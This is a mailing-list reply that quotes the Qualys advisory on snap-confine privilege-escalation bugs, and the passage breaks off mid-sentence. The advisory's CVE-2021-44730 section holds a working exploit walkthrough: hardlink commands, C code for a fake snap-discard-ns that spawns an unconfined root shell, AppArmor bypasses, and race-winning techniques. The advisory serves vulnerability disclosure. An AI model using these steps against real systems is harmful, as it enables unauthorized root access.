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Date: Wed, 23 Feb 2022 08:54:49 +0100 (CET)
From: Wire Snark <wsnark@...a.io>
To: Oss Security <oss-security@...ts.openwall.com>
Cc: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: Re: CVE-2021-44731: Race condition in
 snap-confine's
 setup_private_mount()

Hello.

Can someone clarify CVE-2021-44730 dependency on hardlinking? This passage:

> Unfortunately, if we are able to hardlink snap-confine into a directory
> that we own, and if we execute this hardlink, then snap-confine will
> open our directory and execute our own, arbitrary snap-update-ns and
> snap-discard-ns programs, as root.
>
Why it isn't possible to copy the snap-confine binary into a directory for the same effect -- instead of hardlinking it? I cannot see how hardlink is different from a simple copy in this context.

Thanks!


Feb 17, 2022, 19:47 by qsa@...lys.com:

>
> Qualys Security Advisory
>
> Oh Snap! More Lemmings (Local Privilege Escalation in snap-confine)
>
>
> ========================================================================
> Contents
> ========================================================================
>
> Summary
> Two minor bugs
> An unexploitable bug
> CVE-2021-44730: Hardlink attack in snap-confine's sc_open_snapd_tool()
> CVE-2021-44731: Race condition in snap-confine's setup_private_mount()
> - Case study: Ubuntu Server, near-default installation
> - Case study: Ubuntu Desktop, default installation
> CVE-2021-3996: Unauthorized unmount in util-linux's libmount
> CVE-2021-3995: Unauthorized unmount in util-linux's libmount
> CVE-2021-3998: Unexpected return value from glibc's realpath()
> CVE-2021-3999: Off-by-one buffer overflow/underflow in glibc's getcwd()
> CVE-2021-3997: Uncontrolled recursion in systemd's systemd-tmpfiles
> Acknowledgments
> Timeline
>
>
>  "Some of the new puzzles are superb and will have you scratching your
>  head for some time as you check out all the possible routes and find
>  most of them are red herrings."
>  -- John Sweeney (1992). "Oh No! More Lemmings". New Atari User (55).
>
>
> ========================================================================
> Summary
> ========================================================================
>
> We recently audited snap-confine (a SUID-root program that is installed
> by default on Ubuntu) and discovered two vulnerabilities (two Local
> Privilege Escalations, from any user to root): CVE-2021-44730 and
> CVE-2021-44731.
>
>  "Snap is a software packaging and deployment system developed by
>  Canonical for operating systems that use the Linux kernel. The
>  packages, called snaps, and the tool for using them, snapd, work
>  across a range of Linux distributions and allow upstream software
>  developers to distribute their applications directly to users. Snaps
>  are self-contained applications running in a sandbox with mediated
>  access to the host system." (Wikipedia)
>
>  "snap-confine is a program used internally by snapd to construct the
>  execution environment for snap applications." (man snap-confine)
>
> Discovering and exploiting a vulnerability in snap-confine has been
> extremely challenging (especially in a default installation of Ubuntu),
> because snap-confine uses a very defensive programming style, AppArmor
> profiles, seccomp filters, mount namespaces, and two Go helper programs.
> Eventually, we discovered two vulnerabilities:
>
> - CVE-2021-44730, a hardlink attack that is exploitable in a non-default
>  configuration only (when the kernel's fs.protected_hardlinks is 0);
>
> - CVE-2021-44731, a race condition that is exploitable in default
>  installations of Ubuntu Desktop, and near-default installations of
>  Ubuntu Server (the default installation, plus one of the "Featured
>  Server Snaps" that are offered during the installation; for example,
>  "heroku" or "microk8s").
>
> While working on snap-confine, we also discovered several
> vulnerabilities in related packages and libraries: CVE-2021-3996 and
> CVE-2021-3995 in util-linux (libmount and umount), CVE-2021-3998 and
> CVE-2021-3999 in the glibc (realpath() and getcwd()), and CVE-2021-3997
> in systemd (systemd-tmpfiles). We partially published these secondary
> vulnerabilities in January 2022, shortly after their patches became
> available:
>
>  https://www.openwall.com/lists/oss-security/2022/01/10/2
>  https://www.openwall.com/lists/oss-security/2022/01/24/2
>  https://www.openwall.com/lists/oss-security/2022/01/24/4
>
> If you enjoy puzzle games like Lemmings (which turns 31 this year!),
> then we hope that you will enjoy this advisory.
>
>
>
> ========================================================================
> Two minor bugs
> ========================================================================
>
>  Don't let your eyes deceive you
>  -- Lemmings, Fun Level 15
>
> We almost abandoned our audit after a few days, because snap-confine is
> programmed very defensively, and it has been thoroughly reviewed before
> (by Matthias Gerstner of the SUSE Security Team):
>
>  https://www.openwall.com/lists/oss-security/2019/04/18/4
>  https://bugzilla.suse.com/show_bug.cgi?id=1127368
>
> Nevertheless, we decided to continue our audit because we spotted two
> minor bugs (probably typos) and began to suspect that nastier bugs might
> be hiding in snap-confine. Both minor bugs are located in the main()
> function:
>
> ------------------------------------------------------------------------
> 433         sc_identity real_user_identity = {
> 434                 .uid = real_uid,
> 435                 .gid = real_gid,
> 436                 .change_uid = 1,
> 437                 .change_gid = 1,
> 438         };
> 439         sc_set_effective_identity(real_user_identity);
> ...
> 466         if (getresuid(&real_uid, &effective_uid, &saved_uid) != 0) {
> 467                 die("getresuid failed");
> 468         }
> ...
> 494         // Permanently drop if not root
> 495         if (effective_uid == 0) {
> ...
> 498                 if (setgid(real_gid) != 0)
> 499                         die("setgid failed");
> 500                 if (setuid(real_uid) != 0)
> 501                         die("setuid failed");
> 502 
> 503                 if (real_gid != 0 && (getuid() == 0 || geteuid() == 0))
> 504                         die("permanently dropping privs did not work");
> 505                 if (real_uid != 0 && (getgid() == 0 || getegid() == 0))
> 506                         die("permanently dropping privs did not work");
> 507         }
> ...
> 542         execv(invocation.executable, (char *const *)&argv[0]);
> ------------------------------------------------------------------------
>
> The "real_gid" at line 503 should be "real_uid", and the "real_uid" at
> line 505 should be "real_gid". This first bug does not have dangerous
> consequences, because the lines 503-506 are basically defense-in-depth
> checks: the lines 498-501 have already checked that the root privileges
> were dropped successfully.
>
> Moreover, the second minor bug prevents snap-confine from actually
> entering the code block at lines 495-507: the effective_uid at line 495
> is in fact not 0 anymore, because the effective uid was set to the real,
> unprivileged uid at lines 433-439, and the effective_uid variable was
> set to this unprivileged uid at lines 466-468.
>
> This second bug may seem serious at first glance, because it prevents
> snap-confine from calling the privilege-dropping functions setuid() and
> setgid() (at lines 498-501) before a user-controlled program is executed
> (at line 542). In reality this does not have dangerous consequences: the
> only remaining privileged uid (the saved uid) is automatically reset to
> the effective, unprivileged uid by the execve() syscall (at line 542).
>
> Despite their practical uselessness, these two minor bugs motivated us
> to continue our audit, and we are deeply grateful to them.
>
>
>
> ========================================================================
> An unexploitable bug
> ========================================================================
>
>  DON'T PANIC
>  -- Oh No! More Lemmings, Crazy Level 19
>
> We also discovered a minor bug in the sc_call_snap_update_ns_as_user()
> function:
>
> ------------------------------------------------------------------------
> 112         const char *xdg_runtime_dir = getenv("XDG_RUNTIME_DIR");
> 113         char xdg_runtime_dir_env[PATH_MAX + strlen("XDG_RUNTIME_DIR=")];
> 114         if (xdg_runtime_dir != NULL) {
> 115                 sc_must_snprintf(xdg_runtime_dir_env,
> 116                                  sizeof(xdg_runtime_dir_env),
> 117                                  "XDG_RUNTIME_DIR=%s", xdg_runtime_dir);
> 118         }
> ...
> 127         char *envp[] = {
> ...
> 132                 xdg_runtime_dir_env, NULL
> 133         };
> 134         sc_call_snapd_tool_with_apparmor(snap_update_ns_fd,
> 135                                          "snap-update-ns", apparmor,
> 136                                          aa_profile, argv, envp);
> ------------------------------------------------------------------------
>
> If we execute snap-confine without an XDG_RUNTIME_DIR environment
> variable, then the stack-based buffer xdg_runtime_dir_env[] is not
> initialized (lines 112-118), and the uninitialized contents of this
> buffer are passed as an environment variable to snap-update-ns (lines
> 127-136), a helper program that is executed with root privileges.
>
> This bug may also seem serious at first glance (because we may be able
> to control the contents of this uninitialized buffer), but we do not
> believe that it is exploitable:
>
> - snap-update-ns is a statically-linked Go program, and therefore does
>  not process most of the "unsecure" environment variables (LD_PRELOAD,
>  LD_AUDIT, etc);
>
> - snap-update-ns is executed with effective uid 0 but unprivileged real
>  uid (like a SUID-root program), and therefore runs in "secure" mode
>  (__libc_enable_secure);
>
> - snap-update-ns calls clearenv() in its bootstrap function, and thereby
>  erases all environment variables (another layer of defense in depth).
>
> More importantly, the size of sc_call_snap_update_ns_as_user()'s stack
> frame (which contains the uninitialized buffer xdg_runtime_dir_env[]) is
> ~8KB, but the stack-frame size of sc_do_mount() (which is called before
> sc_call_snap_update_ns_as_user()) is ~10KB and is filled with zeros. In
> other words, xdg_runtime_dir_env[] is indirectly filled with zeros (by
> sc_do_mount()) and we cannot pass an arbitrary environment variable to
> snap-update-ns (just an empty environment variable).
>
>
>
> ========================================================================
> CVE-2021-44730: Hardlink attack in snap-confine's sc_open_snapd_tool()
> ========================================================================
>
>  Easy when you know how
>  -- Lemmings, Fun Level 17
>
> snap-confine dynamically obtains the path to snap-update-ns and
> snap-discard-ns (two helper programs that are executed with root
> privileges) by reading its own path via /proc/self/exe (at line 166), by
> opening this path's directory (at line 174), and by opening the helper
> program inside this directory (at line 179) -- this helper program is
> later executed via fexecve():
>
> ------------------------------------------------------------------------
>  69 int sc_open_snap_update_ns(void)
>  70 {
>  71         return sc_open_snapd_tool("snap-update-ns");
>  72 }
> ------------------------------------------------------------------------
> 139 int sc_open_snap_discard_ns(void)
> 140 {
> 141         return sc_open_snapd_tool("snap-discard-ns");
> 142 }
> ------------------------------------------------------------------------
> 160 static int sc_open_snapd_tool(const char *tool_name)
> 161 {
> ...
> 166         if (readlink("/proc/self/exe", buf, sizeof buf) < 0) {
> ...
> 172         char *dir_name = dirname(buf);
> ...
> 174         dir_fd = open(dir_name, O_PATH | O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC);
> ...
> 179         tool_fd = openat(dir_fd, tool_name, O_PATH | O_NOFOLLOW | O_CLOEXEC);
> ...
> 184         return tool_fd;
> 185 }
> ------------------------------------------------------------------------
>
> Unfortunately, if we are able to hardlink snap-confine into a directory
> that we own, and if we execute this hardlink, then snap-confine will
> open our directory and execute our own, arbitrary snap-update-ns and
> snap-discard-ns programs, as root.
>
> Important note: this is impossible in a default configuration (although
> the kernel's fs.protected_hardlinks is 0 by default, the distributions
> set this sysctl to 1 by default). Consequently, in the following proof
> of concept, we exploit a default installation of Ubuntu Server whose
> fs.protected_hardlinks sysctl has been manually reset to 0.
>
> ________________________________________________________________________
>
> First, failed attempt
> ________________________________________________________________________
>
> First, as an unprivileged user, we make sure that the "lxd" snap (the
> only snap installed by default on Ubuntu Server) has been started
> (although it should have been started automatically at boot time):
>
> ------------------------------------------------------------------------
> $ id
> uid=1001(jane) gid=1001(jane) groups=1001(jane)
>
> $ env -i SNAPD_DEBUG=1 SNAP_INSTANCE_NAME=lxd /usr/lib/snapd/snap-confine --base core18 snap.lxd.daemon /nonexistent
> ...
> ------------------------------------------------------------------------
>
> Next, we hardlink snap-confine into a directory in /tmp, and (in the
> same directory) we create a simple snap-discard-ns program that should
> eventually be executed as root:
>
> ------------------------------------------------------------------------
> $ mkdir -m 0700 /tmp/.tmp
> $ cd /tmp/.tmp
> $ ln -i /usr/lib/snapd/snap-confine ./
> $ cp -i "$(which true)" snap-update-ns
>
> $ cat > snap-discard-ns.c << "EOF"
> #include <sys/types.h>
> #include <unistd.h>
>
> int main(void) {
>  if (setuid(0)) _exit(__LINE__);
>  if (setgid(0)) _exit(__LINE__);
>
>  char * const argv[] = { "/bin/bash", "-c", "id; cat /proc/self/attr/current", NULL };
>  execve(*argv, argv, NULL);
>  _exit(__LINE__);
> }
> EOF
> $ gcc -o snap-discard-ns snap-discard-ns.c
> ------------------------------------------------------------------------
>
> Last, we execute our hardlinked snap-confine with a different base
> ("snapd" instead of "core18"), which forces snap-confine to restart the
> "lxd" snap and therefore to execute our own snap-discard-ns program:
>
> ------------------------------------------------------------------------
> $ env -i SNAPD_DEBUG=1 SNAP_INSTANCE_NAME=lxd ./snap-confine --base snapd snap.lxd.daemon /nonexistent
> ...
> DEBUG: apparmor label on snap-confine is: unconfined
> DEBUG: apparmor mode is: (null)
> snap-confine has elevated permissions and is not confined but should be. Refusing to continue to avoid permission escalation attacks
> ------------------------------------------------------------------------
>
> This first attempt failed: snap-confine exited because it detected that
> it was "unconfined" -- it is normally confined by an AppArmor profile
> named "/usr/lib/snapd/snap-confine", which was not applied here because
> we executed /tmp/.tmp/snap-confine, not /usr/lib/snapd/snap-confine.
>
> ________________________________________________________________________
>
> Second, failed attempt
> ________________________________________________________________________
>
> To solve this first problem, we force snap-confine's AppArmor profile on
> /tmp/.tmp/snap-confine, by wrapping its execution in aa-exec (a tool for
> confining a program with an AppArmor profile):
>
> ------------------------------------------------------------------------
> $ env -i SNAPD_DEBUG=1 SNAP_INSTANCE_NAME=lxd aa-exec -p /usr/lib/snapd/snap-confine -- ./snap-confine --base snapd snap.lxd.daemon /nonexistent
> ...
> cannot execute snapd tool snap-discard-ns: Permission denied
> snap-discard-ns failed with code 1
> ------------------------------------------------------------------------
>
> This second attempt also failed, because snap-confine's AppArmor profile
> denied the execution of our snap-discard-ns program in /tmp:
>
> ------------------------------------------------------------------------
> # dmesg | tail -n 1
> [16732.767948] audit: type=1400 audit(1635093756.584:30): apparmor="DENIED" operation="exec" profile="/usr/lib/snapd/snap-confine" name="/tmp/.tmp/snap-discard-ns" pid=1777 comm="snap-confine" requested_mask="x" denied_mask="x" fsuid=0 ouid=1001
> ------------------------------------------------------------------------
>
> ________________________________________________________________________
>
> Third, failed attempt
> ________________________________________________________________________
>
> To solve this second problem, we reviewed snap-confine's AppArmor
> profile (in /etc/apparmor.d/usr.lib.snapd.snap-confine.real) and noticed
> that it allows the execution of programs in ~/.Private:
>
>  @{HOME}/.Private/** mrixwlk,
>
> We therefore move our /tmp/.tmp directory to ~/.Private, and make
> another attempt:
>
> ------------------------------------------------------------------------
> $ mkdir -m 0700 ~/.Private
> $ cd ~/.Private
> $ mv -i /tmp/.tmp ./
> $ cd .tmp
>
> $ env -i SNAPD_DEBUG=1 SNAP_INSTANCE_NAME=lxd aa-exec -p /usr/lib/snapd/snap-confine -- ./snap-confine --base snapd snap.lxd.daemon /nonexistent
> ...
> snap-discard-ns failed with code 10
> ------------------------------------------------------------------------
>
> This third attempt succeeded in executing our snap-discard-ns program,
> but failed to subsequently execute /bin/bash (again because of
> snap-confine's AppArmor profile):
>
> ------------------------------------------------------------------------
> # dmesg | tail -n 1
> [16991.232201] audit: type=1400 audit(1635094015.048:31): apparmor="DENIED" operation="exec" profile="/usr/lib/snapd/snap-confine" name="/usr/bin/bash" pid=1789 comm="6" requested_mask="x" denied_mask="x" fsuid=0 ouid=0
> ------------------------------------------------------------------------
>
> ________________________________________________________________________
>
> Fourth, partially successful attempt
> ________________________________________________________________________
>
> To solve this third problem, we noticed that snap-confine's AppArmor
> profile allows the transition to AppArmor profiles that are not
> "unconfined" and that do not start with '/':
>
>  change_profile unsafe /** -> [^u/]**,
>
> and we also noticed that one of the "lxd" snap's AppArmor profiles
> ("snap.lxd.daemon" in /var/lib/snapd/apparmor/profiles/snap.lxd.daemon)
> is more permissive than snap-confine's profile. We therefore modify our
> snap-discard-ns program, to transition to the "snap.lxd.daemon" profile
> when executing /bin/bash (by writing "exec snap.lxd.daemon" to the file
> /proc/self/attr/exec, which is what "aa-exec -p snap.lxd.daemon" does):
>
> ------------------------------------------------------------------------
> $ cat > snap-discard-ns.c << "EOF"
> #include <sys/types.h>
> #include <unistd.h>
> #include <stdio.h>
>
> int main(void) {
>  if (setuid(0)) _exit(__LINE__);
>  if (setgid(0)) _exit(__LINE__);
>
>  FILE * const fp = fopen("/proc/self/attr/exec", "w");
>  if (!fp) _exit(__LINE__);
>  if (fputs("exec snap.lxd.daemon", fp) < 0) _exit(__LINE__);
>  if (fclose(fp)) _exit(__LINE__);
>
>  char * const argv[] = { "/bin/bash", "-c", "id; cat /proc/self/attr/current", NULL };
>  execve(*argv, argv, NULL);
>  _exit(__LINE__);
> }
> EOF
> $ gcc -o snap-discard-ns snap-discard-ns.c
>
> $ env -i SNAPD_DEBUG=1 SNAP_INSTANCE_NAME=lxd aa-exec -p /usr/lib/snapd/snap-confine -- ./snap-confine --base snapd snap.lxd.daemon /nonexistent
> ...
> uid=0(root) gid=0(root) groups=0(root),1001(jane)
> snap.lxd.daemon (enforce)
> ...
> ------------------------------------------------------------------------
>
> This fourth attempt succeeded in executing /bin/bash and id, but this
> root shell is still confined ("snap.lxd.daemon (enforce)") and we would
> rather obtain an unconfined root shell.
>
> ________________________________________________________________________
>
> Fifth, successful attempt
> ________________________________________________________________________
>
> To solve this fourth and last problem, we noticed that the AppArmor
> profile "snap.lxd.daemon" allows the unconfined execution of aa-exec:
>
>  /{,usr/}{,s}bin/aa-exec ux,
>
> We therefore modify our snap-discard-ns program, to wrap the execution
> of our shell commands in "aa-exec -p unconfined":
>
> ------------------------------------------------------------------------
> $ cat > snap-discard-ns.c << "EOF"
> #include <sys/types.h>
> #include <unistd.h>
> #include <stdio.h>
>
> int main(void) {
>  if (setuid(0)) _exit(__LINE__);
>  if (setgid(0)) _exit(__LINE__);
>
>  FILE * const fp = fopen("/proc/self/attr/exec", "w");
>  if (!fp) _exit(__LINE__);
>  if (fputs("exec snap.lxd.daemon", fp) < 0) _exit(__LINE__);
>  if (fclose(fp)) _exit(__LINE__);
>
>  char * const argv[] = { "/bin/bash", "-c", "exec aa-exec -p unconfined -- "
>  "/bin/bash -c 'id; cat /proc/self/attr/current'", NULL };
>  execve(*argv, argv, NULL);
>  _exit(__LINE__);
> }
> EOF
> $ gcc -o snap-discard-ns snap-discard-ns.c
>
> $ env -i SNAPD_DEBUG=1 SNAP_INSTANCE_NAME=lxd aa-exec -p /usr/lib/snapd/snap-confine -- ./snap-confine --base snapd snap.lxd.daemon /nonexistent
> ...
> uid=0(root) gid=0(root) groups=0(root),1001(jane)
> unconfined
> ...
> ------------------------------------------------------------------------
>
> Finally, this fifth attempt successfully executed an unconfined root
> shell.
>
> Although we consider this attack impractical (because the sysctl
> fs.protected_hardlinks is 1 by default), it gave us the idea that
> eventually allowed us to exploit snap-confine in a default installation:
> what if we were able to create a copy of the SUID-root snap-confine in a
> writable directory like /tmp, but without creating a hardlink? We were
> particularly curious about bind-mounts, because snap-confine makes
> extensive use of bind-mounts to set up its sandboxes.
>
>
>
> ========================================================================
> CVE-2021-44731: Race condition in snap-confine's setup_private_mount()
> ========================================================================
>
>  It's all a matter of timing
>  -- Oh No! More Lemmings, Havoc Level 12
>
> To set up a snap's sandbox (more precisely, its mount namespace),
> snap-confine's function setup_private_mount() creates a temporary
> directory /tmp/snap.$SNAP_NAME/tmp (for example, /tmp/snap.lxd/tmp) --
> or reuses it if it already exists -- and bind-mounts it onto the /tmp
> directory inside the snap's mount namespace. setup_private_mount() is
> programmed very defensively (f*() and *at() syscalls, O_DIRECTORY and
> O_NOFOLLOW flags) to avoid race conditions:
>
> ------------------------------------------------------------------------
>  56 static void setup_private_mount(const char *snap_name)
>  57 {
>  ..
>  83         sc_must_snprintf(base_dir, sizeof(base_dir), "/tmp/snap.%s", snap_name);
>  84         sc_must_snprintf(tmp_dir, sizeof(tmp_dir), "%s/tmp", base_dir);
>  ..
>  91         if (mkdir(base_dir, 0700) < 0 && errno != EEXIST) {
>  ..
>  94         base_dir_fd = open(base_dir,
>  95                            O_RDONLY | O_DIRECTORY | O_CLOEXEC | O_NOFOLLOW);
> ...
> 106         if (fchmod(base_dir_fd, 0700) < 0) {
> ...
> 109         if (fchown(base_dir_fd, 0, 0) < 0) {
> ...
> 114         if (mkdirat(base_dir_fd, "tmp", 01777) < 0 && errno != EEXIST) {
> ...
> 118         tmp_dir_fd = openat(base_dir_fd, "tmp",
> 119                             O_RDONLY | O_DIRECTORY | O_CLOEXEC | O_NOFOLLOW);
> ...
> 123         if (fchmod(tmp_dir_fd, 01777) < 0) {
> ...
> 127         if (fchown(tmp_dir_fd, 0, 0) < 0) {
> ...
> 131         sc_do_mount(tmp_dir, "/tmp", NULL, MS_BIND, NULL);
> 132         sc_do_mount("none", "/tmp", NULL, MS_PRIVATE, NULL);
> 133 }
> ------------------------------------------------------------------------
>
> Unfortunately, this function is vulnerable to a race condition, because
> the line 131 passes an absolute path (/tmp/snap.lxd/tmp) to the mount()
> syscall, which does follow symlinks:
>
> - we create the directory /tmp/snap.lxd, before we execute snap-confine;
>
> - after the open() at line 94 but before the fchown() at line 109, we
>  replace /tmp/snap.lxd with another directory that contains a symlink
>  named "tmp" (which therefore becomes /tmp/snap.lxd/tmp) that points to
>  an arbitrary directory;
>
> - as a result, because the mount() at line 131 follows symlinks, we
>  trick snap-confine into bind-mounting an arbitrary directory onto /tmp
>  inside the snap's mount namespace.
>
> This race condition opens up a world of possibilities: inside the snap's
> mount namespace (which we can enter through snap-confine itself), we can
> bind-mount a world-writable, non-sticky directory onto /tmp, or we can
> bind-mount any other part of the filesystem onto /tmp. We will exploit
> this powerful primitive in the two following case studies.
>
> Note: we can reliably win this race condition, by monitoring
> /tmp/snap.lxd with inotify, by pinning our exploit and snap-confine to
> the same CPU with sched_setaffinity(), and by lowering snap-confine's
> scheduling priority with setpriority() and sched_setscheduler().
>
>
>
> ========================================================================
> Case study: Ubuntu Server, near-default installation
> ========================================================================
>
>  Not as complicated as it looks
>  -- Lemmings, Fun Level 8
>
> In this first case study, we exploit a default installation of Ubuntu
> Server, plus one of the "Featured Server Snaps" that are offered during
> the installation; we abuse the snap "heroku" here, but other snaps can
> be abused instead (for example, "microk8s").
>
> Our main idea is to exploit CVE-2021-44731, bind-mount the directory
> /usr/lib/snapd (which contains snap-confine) onto /tmp inside the snap's
> mount namespace, and reproduce our exploit for CVE-2021-44730 (without a
> hardlink): we execute /tmp/snap-confine (inside the snap's mount
> namespace), and force it to execute our own /tmp/snap-discard-ns
> program, as root.
>
> In theory, this seems impossible: if we bind-mount /usr/lib/snapd onto
> /tmp, then /tmp/snap-discard-ns will always be the real snap-discard-ns,
> not our own program. In practice, when snap-confine is executed inside a
> mount namespace, it first calls sc_reassociate_with_pid1_mount_ns(),
> which enters init's mount namespace, where /tmp is not bind-mounted:
> snap-confine executes /tmp/snap-discard-ns outside the snap's mount
> namespace, where we can create our own programs in /tmp.
>
> ________________________________________________________________________
>
> First, failed attempt
> ________________________________________________________________________
>
> In this first version of our exploit, we create an empty directory
> /tmp/snap.heroku and a directory /tmp/snap.XXXXXX that contains a "tmp"
> symlink to /usr/lib/snapd, and we exchange these two directories at the
> right time, to bind-mount /usr/lib/snapd onto /tmp inside heroku's mount
> namespace. The command we execute is "/usr/lib/snapd/snap-confine --base
> core snap.heroku.heroku /bin/bash -c 'sleep 10; /tmp/snap-confine --base
> snapd snap.heroku.heroku /nonexistent'".
>
> Note: if the "core" base is not installed, we can use the "core18" base
> instead, but then we must bind-mount /snap/snapd/current/usr/lib/snapd
> instead of /usr/lib/snapd (for glibc compatibility reasons).
>
> ------------------------------------------------------------------------
> $ id
> uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
>
> $ cd /tmp
> $ cp -i "$(which true)" snap-update-ns
> $ gcc -o snap-discard-ns snap-discard-ns.c
>
> $ gcc -o CVE-2021-44731-Server1 CVE-2021-44731-Server1.c
> $ ./CVE-2021-44731-Server1
> ...
> DEBUG: apparmor label on snap-confine is: /usr/lib/snapd/snap-confine
> DEBUG: apparmor mode is: enforce
> ...
> cannot chmod base directory /tmp/snap.heroku to 0700: Operation not permitted
> ------------------------------------------------------------------------
>
> This first attempt failed, because snap-confine's AppArmor profile
> prevented setup_private_mount() from fchmod()ing our /tmp/snap.heroku
> directory (at line 106):
>
> ------------------------------------------------------------------------
> # dmesg | tail -n 1
> [26963.479502] audit: type=1400 audit(1635180724.155:37): apparmor="DENIED" operation="capable" profile="/usr/lib/snapd/snap-confine" pid=1712 comm="snap-confine" capability=3  capname="fowner"
> ------------------------------------------------------------------------
>
> ________________________________________________________________________
>
> Second, failed attempt
> ________________________________________________________________________
>
> To solve this first, seemingly insurmountable problem, we tried out a
> Crazy! Wild! Wicked! idea -- to execute snap-confine in "unconfined"
> mode, by wrapping it in "aa-exec -p unconfined":
>
> ------------------------------------------------------------------------
> $ gcc -o CVE-2021-44731-Server2 CVE-2021-44731-Server2.c
> $ ./CVE-2021-44731-Server2
> ...
> DEBUG: apparmor label on snap-confine is: unconfined
> DEBUG: apparmor mode is: (null)
> snap-confine has elevated permissions and is not confined but should be. Refusing to continue to avoid permission escalation attacks
> ------------------------------------------------------------------------
>
> Incredibly, this idea worked out; however, snap-confine's defensive
> programming detected this unconfined execution and called exit().
>
> ________________________________________________________________________
>
> Third, successful attempt
> ________________________________________________________________________
>
> Since snap-confine refuses to run unconfined, but accepts AppArmor
> profiles other than the intended "/usr/lib/snapd/snap-confine" profile,
> we reviewed all AppArmor profiles and noticed that some of them are in
> "complain" mode (for example, "snap.heroku.heroku"):
>
> ------------------------------------------------------------------------
> # aa-status
> apparmor module is loaded.
> 35 profiles are loaded.
> 33 profiles are in enforce mode.
>  ...
> 2 profiles are in complain mode.
>  snap.heroku.heroku
>  ...
> ------------------------------------------------------------------------
>
> These "complain" profiles log policy violations but allow the offending
> program to continue its execution (unlike "kill" or "enforce" profiles);
> we therefore try to wrap snap-confine in "aa-exec -p snap.heroku.heroku"
> to bypass AppArmor:
>
> ------------------------------------------------------------------------
> $ gcc -o CVE-2021-44731-Server3 CVE-2021-44731-Server3.c
> $ ./CVE-2021-44731-Server3
> ...
> DEBUG: apparmor label on snap-confine is: snap.heroku.heroku
> DEBUG: apparmor mode is: complain
> ...
> DEBUG: execv(/bin/bash, /bin/bash...)
> DEBUG:  argv[1] = -c
> DEBUG:  argv[2] = sleep 10; /tmp/snap-confine --base snapd snap.heroku.heroku /nonexistent
> ...
> DEBUG: moving to mount namespace of pid 1
> ...
> DEBUG: calling snapd tool snap-discard-ns
> ...
> uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
> snap.heroku.heroku (complain)
> ...
> ------------------------------------------------------------------------
>
> This third attempt successfully executed a root shell that is
> effectively unconfined ("snap.heroku.heroku (complain)").
>
> Side note: we tried and failed to exploit CVE-2021-44731 in a default
> installation of Ubuntu Server (i.e., without an extra snap like "heroku"
> or "microk8s"); we faced two problems:
>
> - The "lxd" snap (the only snap installed by default on Ubuntu Server)
>  is started automatically at boot time by snapd; this prevents us from
>  creating /tmp/snap.lxd ourselves. The solution to this first problem
>  is surprisingly easy, because the cron daemon is started before snapd
>  at boot time: we can add an "@reboot touch /tmp/snap.lxd" command to
>  our user's crontab and take ownership of this directory before snapd
>  (on the next reboot).
>
> - No AppArmor profiles are in "complain" mode by default; this prevents
>  us from bypassing AppArmor (the fchmod() at line 106). Interestingly,
>  the check that prevents snap-confine from running unconfined is very
>  fragile (a fail-open check): if aa_is_enabled() fails (if it returns
>  false), then snap-confine assumes that AppArmor is disabled, and
>  allows us to run it unconfined.
>
>  Internally, aa_is_enabled() calls the glibc's setmntent() (fopen()),
>  getmntent() (malloc() and fgets()), and endmntent(); for example, if
>  we set a low RLIMIT_NOFILE resource limit, then this fopen() fails,
>  and snap-confine continues to run unconfined:
>
> ------------------------------------------------------------------------
> $ env -i SNAPD_DEBUG=1 SNAP_INSTANCE_NAME=lxd prlimit --nofile=4 aa-exec -p unconfined -- /usr/lib/snapd/snap-confine --base core18 snap.lxd.daemon /nonexistent
> ...
> DEBUG: apparmor is not enabled: Too many open files
> cannot open path /proc/1/ns/mnt: Too many open files
> ------------------------------------------------------------------------
>
>  However, this RLIMIT_NOFILE resource limit is so low that subsequent
>  open()s also fail and prevent snap-confine from running normally. We
>  also tried to reach the system-wide limit on open files (fs.file-max)
>  but failed, because systemd increases this limit to LONG_MAX (since
>  version 240). We also tried to cause a failure in setmntent() or
>  getmntent() by lowering the RLIMIT_DATA resource limit, but also
>  failed.
>
>  If you, dear reader, find a solution to this second problem, please
>  post it to the public oss-security mailing list!
>
>
>
> ========================================================================
> Case study: Ubuntu Desktop, default installation
> ========================================================================
>
>  If at first you don't succeed..
>  -- Lemmings, Taxing Level 1
>
> To exploit CVE-2021-44731 in a default installation of Ubuntu Desktop,
> we execute snap-confine with the "snap-store" snap (the only snap that
> is installed by default) and we bypass AppArmor with one of the default
> "complain" profiles (for example, "libreoffice-soffice").
>
> Still, inside its sandbox, snap-confine applies one of snap-store's
> "enforce" profiles (for example, "snap.snap-store.snap-store"), which
> prevents us from successfully executing /tmp/snap-confine and therefore
> prevents us from reusing our Ubuntu-Server exploitation technique:
>
> ------------------------------------------------------------------------
> $ gcc -o CVE-2021-44731-Desktop0 CVE-2021-44731-Desktop0.c
> $ ./CVE-2021-44731-Desktop0
> ...
> DEBUG: apparmor label on snap-confine is: libreoffice-soffice
> DEBUG: apparmor mode is: complain
> ...
> DEBUG: execv(/bin/bash, /bin/bash...)
> DEBUG:  argv[1] = -c
> DEBUG:  argv[2] = sleep 10; /tmp/snap-confine --base snapd snap.snap-store.snap-store /nonexistent
> ...
> DEBUG: apparmor is available but the interface but the interface is not available
> cannot read mount namespace identifier of pid 1: Permission denied
> ------------------------------------------------------------------------
>
> Belatedly, we realized that the setup of snap-store's mount namespace is
> extremely complicated; indeed, snap-confine executes the helper program
> snap-update-ns twice:
>
> - a first time, to set up the "system" bind-mounts listed in
>  /var/lib/snapd/mount/snap.snap-store.fstab;
>
> - a second time, to set up the "user" bind-mounts listed in
>  /var/lib/snapd/mount/snap.snap-store.user-fstab.
>
> Among those system bind-mounts, one in particular caught our attention:
>
>  /var/lib/snapd/hostfs/var/lib/app-info /var/lib/app-info none bind,ro 0 0
>
> To set up this bind-mount, snap-update-ns must first create the
> directory /var/lib/app-info; but inside snap-store's mount namespace,
> /var/lib is in a read-only filesystem (the "core18" base's squashfs).
> Consequently, snap-update-ns must first create a "mimic" -- a writable
> copy of /var/lib:
>
> 1/ it bind-mounts /var/lib onto /tmp/.snap/var/lib (inside snap-store's
> mount namespace);
>
> 2/ it mounts a tmpfs onto /var/lib;
>
> 3/ it bind-mounts every directory entry from /tmp/.snap/var/lib back
> into /var/lib;
>
> 4/ it creates the directory /var/lib/app-info (which is in a writable
> tmpfs now);
>
> 5/ it bind-mounts /var/lib/snapd/hostfs/var/lib/app-info onto
> /var/lib/app-info.
>
> Unfortunately, because we own /tmp inside snap-store's mount namespace
> (thanks to CVE-2021-44731), we can race against snap-update-ns between
